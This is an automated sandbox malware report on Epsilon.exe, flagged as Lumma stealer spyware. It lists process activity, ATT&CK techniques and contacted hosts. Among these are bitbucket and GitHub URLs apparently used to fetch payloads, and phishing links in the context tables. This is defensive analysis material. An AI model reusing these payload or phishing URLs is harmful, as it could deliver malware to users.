Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF737828964 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

0_2_00007FF737828964

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF737822C54 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

0_2_00007FF737822C54

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	2 Command and Scripting Interpreter	111 Scripting	1 Access Token Manipulation	21 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	12 Native API	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Access Token Manipulation	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	1 DLL Side-Loading	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	16 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Epsilon.exe	37%	ReversingLabs	Win64.Spyware.Lummastealer

Source	Detection	Scanner	Label	Link
https://atlassianblog.wpengine.com/wp-json/wp/v2/posts?tags=11972&context=embed&per_page=6&orderby=d	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bitbucket.org	185.166.143.48	true	false		high
raw.githubusercontent.com	185.199.111.133	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg	false		high
https://bitbucket.org/rterterq/fwqfqweqwr/downloads/opkSkch.txt	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://id.atlassian.com/login	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://id.atlassian.com/logout	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://admin.atlassian.com	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611	powershell.exe, 00000005.00000002.2430048549.0000027B3A3E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2466653987.0000027B523E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168306779.000001A1DA390000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2170048890.000001A1DA670000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168503153.000001A1DA419000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2168306779.000001A1DA3B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2170230937.000001A1DA684000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.bitbucket.org	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/c9b3998323c0/jsi18n/en/dj	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dz8aopenkvv6s.cloudfront.net	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://preferences.atlassian.com	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://id.atlassian.com/manage-profile/	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.atlassian.com/try/cloud/signup?bundle=bitbucket	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.status.atlassian.com/	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.cookielaw.org/	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atlassianblog.wpengine.com/wp-json/wp/v2/posts?tags=11972&context=embed&per_page=6&orderby=d	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/;	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aui-cdn.atlassian.com/	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/c9b3998323c0/dist/webpack	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	powershell.exe, 00000007.00000002.2175839410.000001A1DC228000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000005.00000002.2430048549.0000027B39E95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2430048549.0000027B39E57000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/gateway/api/emoji/	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.2430048549.0000027B39EBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2175839410.000001A1DC001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org	powershell.exe, 00000007.00000002.2175839410.000001A1DC3FB000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.166.143.48	bitbucket.org	Germany		16509	AMAZON-02US	false
185.199.111.133	raw.githubusercontent.com	Netherlands		54113	FASTLYUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582590
Start date and time:	2024-12-31 00:45:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Epsilon.exe
Detection:	MAL
Classification:	mal100.spre.expl.evad.winEXE@12/8@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 29 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.45, 23.1.237.91
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7504 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Epsilon.exe

Simulations

Behavior and APIs

Time	Type	Description
18:45:55	API Interceptor	42x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.166.143.48	http://bitbucket.org/aaa14/aaaa/downloads/dFkbkhk.txt	Get hash	malicious	Unknown	Browse	bitbucket.org/aaa14/aaaa/downloads/dFkbkhk.txt
185.199.111.133	cr_asm2.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_hiddenz.ps1	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	BeginSync lnk.lnk	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
	Supplier.bat	Get hash	malicious	Unknown	Browse	185.199.110.133
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	185.199.111.133
	NEW-DRAWING-SHEET.bat	Get hash	malicious	Unknown	Browse	185.199.111.133
	fxsound_setup.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	OiMp3TH.exe	Get hash	malicious	LummaC	Browse	185.199.108.133
	8lOT1rXZp5.exe	Get hash	malicious	RedLine	Browse	185.199.111.133
	Purchase Order No. G02873362-Docx.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
bitbucket.org	j6ks0Fxu6t.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	185.166.143.49
	Gq48hjKhZf.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
	2oM46LNCOo.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	tTGxYWtjG5.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	iaLId0uLUw.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	yuij5p5p3W.exe	Get hash	malicious	LummaC	Browse	185.166.143.50
	NAnOVCOt4L.exe	Get hash	malicious	LummaC	Browse	185.166.143.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://bs32c.golfercaps.com/vfd23ced/#sean@virtualintelligencebriefing.com	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://employeeportal.net-login.com/XL0pFWEloTnBYUmM5TnBUSmVpbWxiSUpWb3BBL1lPY1hwYU5uYktNWkd5ME82bWJMcUhoRklFUWJiVmFOUi9uUS81dGZ4dnJZYkltK2NMZG5BV1pmbFhqMXNZcm1QeXBXTXI4R090NHo5NWhuL2l4TXdxNlY4VlZxWHVPNTdnc1M3aU4xWjhFTmJiTEJWVUYydWVqZjNPbnFkM3M5T0FNQ2lRL3EySjhvdVVDNzZ2UHJQb0xQdlhZbTZRPT0tLTJaT0Z2TlJ3S0NMTTZjc2ktLTZGNUIwRnVkbFRTTHR2dUFITkcxVFE9PQ==?cid=2341891188	Get hash	malicious	KnowBe4	Browse	199.232.192.193
	https://tepco-jp-lin;.%5Dshop/co/tepco	Get hash	malicious	Unknown	Browse	199.232.188.157
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	185.199.110.133
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
	Purchase Order Summary Details.vbs	Get hash	malicious	LodaRAT, XRed	Browse	185.199.108.133
	Supplier.bat	Get hash	malicious	Unknown	Browse	185.199.110.133
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	185.199.111.133
	NEW-DRAWING-SHEET.bat	Get hash	malicious	Unknown	Browse	185.199.111.133
	https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com	Get hash	malicious	Unknown	Browse	151.101.2.137
AMAZON-02US	boatnet.arm6.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	kwari.arm.elf	Get hash	malicious	Unknown	Browse	54.168.12.166
	kwari.mpsl.elf	Get hash	malicious	Unknown	Browse	52.63.235.181
	kwari.arm7.elf	Get hash	malicious	Mirai	Browse	52.17.112.151
	boatnet.mips.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	dlr.arm7.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	https://tepco-jp-lin;.%5Dshop/co/tepco	Get hash	malicious	Unknown	Browse	54.65.22.195
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	18.244.18.122
	i.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	securedoc_20241220T111852.html	Get hash	malicious	Unknown	Browse	13.32.121.110

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	XClient.exe	Get hash	malicious	XWorm	Browse	185.166.143.48 185.199.111.133
	hoEtvOOrYH.exe	Get hash	malicious	SmokeLoader	Browse	185.166.143.48 185.199.111.133
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	185.166.143.48 185.199.111.133
	random.exe	Get hash	malicious	LummaC	Browse	185.166.143.48 185.199.111.133
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	185.166.143.48 185.199.111.133
	Supplier.bat	Get hash	malicious	Unknown	Browse	185.166.143.48 185.199.111.133
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	185.166.143.48 185.199.111.133
	NEW-DRAWING-SHEET.bat	Get hash	malicious	Unknown	Browse	185.166.143.48 185.199.111.133
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	185.166.143.48 185.199.111.133

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/+qll/h:NllU2el/
MD5:	A228F8449DB5EE3A5E620715CD8F41DF
